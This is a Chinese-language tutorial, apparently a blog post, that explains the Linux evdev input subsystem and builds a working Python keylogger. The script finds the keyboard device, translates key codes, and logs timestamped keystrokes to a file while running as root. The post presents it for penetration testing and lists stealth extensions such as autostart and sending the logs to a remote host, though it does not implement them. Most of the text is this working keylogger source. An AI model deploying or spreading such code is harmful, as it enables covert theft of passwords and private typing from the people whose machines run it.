前言
大家知道,在Linux下一切皆文件。所以,键盘鼠标等作为一种标准输入输出设备必然也是在Linux系统中以文件的形式存在的。熟悉Linux的话一下就可以想到在/dev/下的这种设备文件,所以这里我们需要的就是读取指定的键盘设备文件就可以了。
这里需要使用到linux的驱动-input输入子系统`evdev`。`evdev`输入事件驱动,为输入子系统提供了一个默认的事件处理方法。其接收来自底层驱动的大多数事件,并使用相应的逻辑对其进行处理。`evdev`输入事件驱动从底层接收事件信息,将其反映到 sys 文件系统中,用户程序通过对 sys 文件系统的操作,就能够达到处理事件的能力。在这里我们使用一个叫做`evdev`的python库进行处理,其原理是用C函数`evdev_read()`读取`/dev/eventX`设备中的buffer数组,里面存有input_event类型数据。
1.1 Linux下的键盘响应事件
Linux下的键盘响应事件即上面说到的input输入子系统`evdev`输入事件驱动。首先需要理解`input_event`类型的数据描述。在Linux内核中,input设备用`input_dev`结构体描述,使用input子系统实现输入设备驱动的时候,驱动的核心工作就是向系统报告按键、触摸屏、键盘、鼠标等输入事件(`event`,通过`input_event`结构体描述),不再需要关心文件操作接口,因为Input子系统已经完成了文件操作接口。
在`linux/input.h` 这个文件(具体位置在 `/usr/include/linux/input.h`)定义了event事件的结构体,API和标准按键的编码等:
struct input_event {
struct timeval time; //按键时间
__u16 type; //事件类型
__u16 code; //模拟的按键
__s32 value;//是按下还是释放
};
type,指事件类型。在这里咱们研究的是:按键事件,当然还有其他事件(比如鼠标事件等),这里不再详细讨论。
code:事件的代码。这里只讨论按键事件,其类型代码code是EV_KEY,该代码为设备键盘代码。在该文头文件中已经定义的0~248中不同的键盘按键代码(详细见linux/input.h文件)。
value: 事件的值。同样,咱们讨论事件的类型代码是EV_KEY,当按键按下时值为1,松开时值为0。
1.2 Python的evdev模块
根据官方文档(`[https://python-evdev.readthedocs.org](https://python-evdev.readthedocs.org/)`)说明,evdev模块使用比较简单。最新版本的python-evdev模块可以使用`pip`安装。当然,安装之前需要Linux系统具有`gcc/clang`,并具有python环境和Linux内核头文件支持。
1.3 Python实现键盘监控
经过上面对设备文件的列举,很容易就知道在我这台电脑上对应的键盘设备事件文件是/dev/input/event0 所以,直接监控这个设备文件进行读取就OK了。下面是10行不到就可以实现的简单键盘记录脚本(注意,由于设备文件的读取需要权限,所以这里以root运行):
#!/usr/bin/env python
# coding=utf-8
from evdev import InputDevice
from select import select
dev = InputDevice('/dev/input/event0')
while True:
select([dev],[],[])
for event in dev.read():
if(event.value == 1 or event.value == 0) and event.code != 0:
print "Key:%s Status:%s" % (event.code, "pressed." if event.value else "release.")
上面的简单程序基本可以监听到键盘记录,但是如果放到现实的渗透测试环境中还是不行的。比如还需要实现自启动,自动识别键盘设备文件,如果存在多个键盘设备那还要采用多线程实现对多个键盘设备事件同时进行监控,还有实现在线记录和离线记录以及自动发送远程主机等等技术需要实现。
对上面的程序进行简单的修改,就可以做一个简单的键盘记录程序。
keylogger_in_linux.py
#!/usr/bin/env python
# coding=utf-8
import re
import sys
import time
from evdev import InputDevice, list_devices
from select import select
lasttime = int(time.time())
def findDevice():
devs = [InputDevice(fn) for fn in list_devices()]
for dev in devs:
if(re.search('eyboard', dev.name)):
kb_device = dev.fn
return kb_device
return False
def ctoa(code):
dict = {
1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7',9: '8',
10: '9', 11: '0', 14: 'backspace', 15: 'tab', 16: 'q', 17: 'w', 18: 'e',
19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[',
27: ']', 28: 'enter', 29: 'ctrl', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',
35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'shift',
43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm',51: ',',
52: '.', 53: '/', 54: 'shift', 56: 'alt', 57: 'space', 58: 'capslock', 59: 'F1',
60: 'F2', 61: 'F3',62: 'F4',63: 'F5',64: 'F6',65: 'F7',66: 'F8',67: 'F9',
68: 'F10',69: 'numlock',70: 'scrollock',87: 'F11',88: 'F12',97: 'ctrl',99: 'sys_Rq',
100: 'alt',102: 'home',104: 'PageUp',105: 'Left',106: 'Right',107: 'End',
108: 'Down',109: 'PageDown',111: 'del',125: 'Win',126:'Win',127: 'compose'
}
if code in dict:
return dict[code]
def writefile(asc):
global lasttime
f = open("keylog.txt","a")
now = int(time.time())
ntime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now))
if abs(now-lasttime) < 5:
f.write(asc+" ")
else:
f.write('\n['+ntime+"] "+asc)
lasttime = now
f.close()
def detectInputKey():
device = findDevice()
if not device:
print "[-] Can't find any keyboard devices!"
print "[-] Exit..."
sys.exit(0)
dev = InputDevice(device)
while True:
select([dev],[],[])
for event in dev.read():
if event.value == 1 and event.code != 0:
asc = ctoa(event.code)
writefile(asc)
print asc,
sys.stdout.flush()
if __name__ == "__main__":
detectInputKey()
至此,一个简单的Linux下的键盘记录程序就完成了。